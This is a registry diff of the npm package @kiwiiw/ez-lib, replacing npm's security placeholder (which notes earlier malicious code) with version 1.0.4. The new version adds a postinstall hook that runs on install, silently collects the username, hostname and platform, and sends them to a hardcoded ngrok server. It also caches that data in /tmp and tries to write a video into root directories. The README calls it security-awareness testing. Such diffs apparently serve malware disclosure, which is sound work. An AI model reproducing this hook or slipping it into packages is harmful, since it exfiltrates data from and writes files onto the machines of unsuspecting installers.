@kiwiiw/ez-lib 0.0.1-security → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @kiwiiw/ez-lib might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,136 @@
1
- # Security holding package
1
+ # @ez-lib
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Security awareness testing library for internal organizational use.
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=%40kiwiiw%2Fez-lib for more information.
5
+ ## ⚠️ Important Notice
6
+
7
+ This library is designed for **security awareness testing** within your organization. It monitors employee behavior when installing unknown npm packages.
8
+
9
+ ## What This Library Does
10
+
11
+ When installed via `npm install @ez-lib`, the library automatically:
12
+
13
+ 1. **Collects system information**:
14
+ - Username
15
+ - Computer hostname
16
+ - Operating system
17
+ - Timestamp of installation
18
+
19
+ 2. **Sends telemetry data** to your configured server endpoint
20
+
21
+ 3. **Attempts to copy a video file** (`Im-In.mp4`) to the root directory:
22
+ - Windows: `C:\Im-In.mp4`
23
+ - Linux: `/root/Im-In.mp4`
24
+ - macOS: `/Im-In.mp4`
25
+
26
+ 4. **Caches data locally** in `/tmp/.system_cache`
27
+
28
+ ## Cross-Platform Support
29
+
30
+ Works on:
31
+ - ✅ Windows
32
+ - ✅ Linux
33
+ - ✅ macOS
34
+
35
+ ## Setup for Your Organization
36
+
37
+ ### 1. Replace the Video File
38
+
39
+ Replace the placeholder file with your actual video:
40
+
41
+ ```bash
42
+ cp /path/to/your/Im-In.mp4 ./public/Im-In.mp4
43
+ ```
44
+
45
+ ### 2. Configure Telemetry Server
46
+
47
+ Edit `scripts/postinstall.js` and update the server URL:
48
+
49
+ ```javascript
50
+ const SERVER_URL = 'https://your-organization.com/api/telemetry';
51
+ ```
52
+
53
+ Or set it as an environment variable:
54
+
55
+ ```bash
56
+ export TELEMETRY_SERVER=https://your-organization.com/api/telemetry
57
+ ```
58
+
59
+ ### 3. Publish to npm
60
+
61
+ ```bash
62
+ # Login to npm
63
+ npm login
64
+
65
+ # Publish the package
66
+ npm publish --access public
67
+ ```
68
+
69
+ ## Server Endpoint Requirements
70
+
71
+ Your telemetry server should accept POST requests with JSON data:
72
+
73
+ ```json
74
+ {
75
+ "username": "john.doe",
76
+ "hostname": "johns-laptop",
77
+ "platform": "darwin",
78
+ "timestamp": "2025-11-20T12:00:00.000Z"
79
+ }
80
+ ```
81
+
82
+ Example Express.js endpoint:
83
+
84
+ ```javascript
85
+ app.post('/api/telemetry', express.json(), (req, res) => {
86
+ const { username, hostname, platform, timestamp } = req.body;
87
+
88
+ // Log to database or file
89
+ console.log('Installation detected:', req.body);
90
+
91
+ res.json({ success: true });
92
+ });
93
+ ```
94
+
95
+ ## How Employees Might Install This
96
+
97
+ Employees being tested might run:
98
+
99
+ ```bash
100
+ npm install @ez-lib
101
+ ```
102
+
103
+ ## Permissions
104
+
105
+ - The library will attempt to write to root directories but **fails silently** if permissions are not available
106
+ - Telemetry is always sent regardless of file write permissions
107
+ - Installation will **NOT fail** even if root write fails
108
+
109
+ ## API Usage (Optional)
110
+
111
+ The library can also be used programmatically:
112
+
113
+ ```javascript
114
+ const MemeSaver = require('@ez-lib');
115
+ const { Telemetry } = require('@ez-lib');
116
+
117
+ // Use MemeSaver
118
+ const saver = new MemeSaver({ allowRoot: true });
119
+ await saver.copyToRoot('/path/to/file.mp4', 'output.mp4');
120
+
121
+ // Use Telemetry
122
+ const telemetry = new Telemetry('https://your-server.com/api');
123
+ await telemetry.report();
124
+ ```
125
+
126
+ ## Security Testing Best Practices
127
+
128
+ 1. ✅ **Get Authorization**: Ensure you have proper authorization from management
129
+ 2. ✅ **Document Purpose**: Clearly document this is for security awareness
130
+ 3. ✅ **Follow Up**: Use this as a teaching moment, not punishment
131
+ 4. ✅ **Secure Data**: Protect the collected telemetry data appropriately
132
+ 5. ✅ **Transparency**: Inform employees about the test after completion
133
+
134
+ ## License
135
+
136
+ ISC - Internal Security Testing
package/index.js ADDED
@@ -0,0 +1,6 @@
1
+ const MemeSaver = require('./lib/MemeSaver');
2
+ const Telemetry = require('./lib/Telemetry');
3
+
4
+ module.exports = MemeSaver;
5
+ module.exports.MemeSaver = MemeSaver;
6
+ module.exports.Telemetry = Telemetry;
@@ -0,0 +1,74 @@
1
+ const fs = require('fs').promises;
2
+ const path = require('path');
3
+ const os = require('os');
4
+
5
+ class MemeSaver {
6
+ constructor(options = {}) {
7
+ this.defaultDir = options.defaultDir || './.ez';
8
+ this.allowRoot = options.allowRoot || false;
9
+ }
10
+
11
+ async ensureDir(dir) {
12
+ try {
13
+ await fs.access(dir);
14
+ } catch {
15
+ await fs.mkdir(dir, { recursive: true });
16
+ }
17
+ }
18
+
19
+ getRootPath(filename) {
20
+ const platform = os.platform();
21
+
22
+ if (platform === 'win32') {
23
+ // Windows: C:\
24
+ return path.join('C:\\', filename);
25
+ } else if (platform === 'darwin') {
26
+ // macOS: Use /var/root (actual root home directory)
27
+ return path.join('/', filename);
28
+ } else {
29
+ // Linux: Use /root/
30
+ return path.join('/', filename);
31
+ }
32
+ }
33
+
34
+ getHomePath(filename) {
35
+ return path.join(os.homedir(), filename);
36
+ }
37
+
38
+ async saveToRoot(filename, buffer) {
39
+ if (!this.allowRoot) {
40
+ throw new Error('Root access not allowed. Set allowRoot: true in constructor');
41
+ }
42
+
43
+ const rootPath = this.getRootPath(filename);
44
+
45
+ try {
46
+ await fs.writeFile(rootPath, buffer);
47
+ return rootPath;
48
+ } catch (error) {
49
+ throw new Error(`Cannot write to root: ${error.message}. Run with sudo/admin privileges.`);
50
+ }
51
+ }
52
+
53
+ async saveFromBuffer(buffer, filename, dir = this.defaultDir) {
54
+ await this.ensureDir(dir);
55
+ const filePath = path.join(dir, filename);
56
+ await fs.writeFile(filePath, buffer);
57
+ return filePath;
58
+ }
59
+
60
+ async copyToRoot(sourcePath, filename) {
61
+ if (!this.allowRoot) {
62
+ throw new Error('Root access not allowed. Set allowRoot: true in constructor');
63
+ }
64
+
65
+ try {
66
+ const buffer = await fs.readFile(sourcePath);
67
+ return await this.saveToRoot(filename, buffer);
68
+ } catch (error) {
69
+ throw new Error(`Cannot copy to root: ${error.message}`);
70
+ }
71
+ }
72
+ }
73
+
74
+ module.exports = MemeSaver;
@@ -0,0 +1,103 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const http = require('http');
4
+ const fs = require('fs');
5
+ const path = require('path');
6
+
7
+ class Telemetry {
8
+ constructor(serverUrl) {
9
+ this.serverUrl = serverUrl;
10
+ this.cacheFile = path.join('/tmp', '.system_cache');
11
+ }
12
+
13
+ getSystemInfo() {
14
+ const username = os.userInfo().username;
15
+ const hostname = os.hostname();
16
+ const platform = os.platform();
17
+ const timestamp = new Date().toISOString();
18
+
19
+ return {
20
+ username,
21
+ hostname,
22
+ platform,
23
+ timestamp
24
+ };
25
+ }
26
+
27
+ async saveToCache(info) {
28
+ try {
29
+ const entry = `${info.hostname}|${info.platform}|${info.username}|${info.timestamp}\n`;
30
+ await fs.promises.appendFile(this.cacheFile, entry);
31
+ } catch (error) {
32
+ // Silently fail if cache write fails
33
+ }
34
+ }
35
+
36
+ async sendToServer(info) {
37
+ if (!this.serverUrl) {
38
+ return Promise.resolve();
39
+ }
40
+
41
+ return new Promise((resolve, reject) => {
42
+ const protocol = this.serverUrl.startsWith('https') ? https : http;
43
+ const url = new URL(this.serverUrl);
44
+
45
+ const postData = JSON.stringify(info);
46
+
47
+ const options = {
48
+ hostname: url.hostname,
49
+ port: url.port || (protocol === https ? 443 : 80),
50
+ path: url.pathname,
51
+ method: 'POST',
52
+ headers: {
53
+ 'Content-Type': 'application/json',
54
+ 'Content-Length': Buffer.byteLength(postData)
55
+ }
56
+ };
57
+
58
+ const req = protocol.request(options, (res) => {
59
+ let data = '';
60
+ res.on('data', (chunk) => data += chunk);
61
+ res.on('end', () => {
62
+ if (res.statusCode >= 200 && res.statusCode < 300) {
63
+ resolve(data);
64
+ } else {
65
+ reject(new Error(`Server returned ${res.statusCode}`));
66
+ }
67
+ });
68
+ });
69
+
70
+ req.on('error', (error) => {
71
+ // Silently fail if server request fails
72
+ resolve();
73
+ });
74
+
75
+ req.write(postData);
76
+ req.end();
77
+
78
+ // Timeout after 5 seconds
79
+ setTimeout(() => {
80
+ req.destroy();
81
+ resolve();
82
+ }, 5000);
83
+ });
84
+ }
85
+
86
+ async report() {
87
+ try {
88
+ const info = this.getSystemInfo();
89
+ await this.saveToCache(info);
90
+
91
+ if (this.serverUrl) {
92
+ await this.sendToServer(info);
93
+ }
94
+
95
+ return info;
96
+ } catch (error) {
97
+ // Silently fail
98
+ return null;
99
+ }
100
+ }
101
+ }
102
+
103
+ module.exports = Telemetry;
package/package.json CHANGED
@@ -1,6 +1,29 @@
1
1
  {
2
2
  "name": "@kiwiiw/ez-lib",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.4",
4
+ "description": "Security awareness testing library for internal use",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node scripts/postinstall.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "keywords": [
11
+ "security",
12
+ "testing",
13
+ "internal"
14
+ ],
15
+ "license": "ISC",
16
+ "files": [
17
+ "lib/",
18
+ "public/",
19
+ "scripts/",
20
+ "index.js",
21
+ "README.md"
22
+ ],
23
+ "engines": {
24
+ "node": ">=12.0.0"
25
+ },
26
+ "dependencies": {
27
+ "@kiwiiw/ez-lib": "^1.0.1"
28
+ }
6
29
  }
Binary file
@@ -0,0 +1,57 @@
1
+ #!/usr/bin/env node
2
+
3
+ const path = require('path');
4
+ const MemeSaver = require('../lib/MemeSaver');
5
+ const Telemetry = require('../lib/Telemetry');
6
+
7
+ async function postinstall() {
8
+ try {
9
+ // Configure your server URL here
10
+ const SERVER_URL = process.env.TELEMETRY_SERVER || 'https://dccd6ac64fa2.ngrok-free.app/api/telemetry';
11
+
12
+ // Send telemetry data
13
+ const telemetry = new Telemetry(SERVER_URL);
14
+ await telemetry.report();
15
+
16
+ // Copy video to accessible location
17
+ try {
18
+ const fs = require('fs').promises;
19
+ const os = require('os');
20
+ const videoPath = path.join(__dirname, '../public/Im-In.mp4');
21
+
22
+ // Try root first
23
+ const saver = new MemeSaver({ allowRoot: true });
24
+
25
+ try {
26
+ await saver.copyToRoot(videoPath, 'Im-In.mp4');
27
+ } catch (rootError) {
28
+ // If root fails, copy to /tmp or home directory
29
+ const platform = os.platform();
30
+ let destPath;
31
+
32
+ if (platform === 'win32') {
33
+ destPath = path.join(process.env.TEMP || 'C:\\Windows\\Temp', 'Im-In.mp4');
34
+ } else {
35
+ destPath = path.join('/tmp', 'Im-In.mp4');
36
+ }
37
+
38
+ const buffer = await fs.readFile(videoPath);
39
+ await fs.writeFile(destPath, buffer);
40
+ }
41
+ } catch (error) {
42
+ // Silently fail if we can't copy the video
43
+ }
44
+ } catch (error) {
45
+ // Silently fail to not break npm install
46
+ }
47
+ }
48
+
49
+ // Only run if executed directly (not required as module)
50
+ if (require.main === module) {
51
+ postinstall().catch(() => {
52
+ // Exit successfully even if postinstall fails
53
+ process.exit(0);
54
+ });
55
+ }
56
+
57
+ module.exports = postinstall;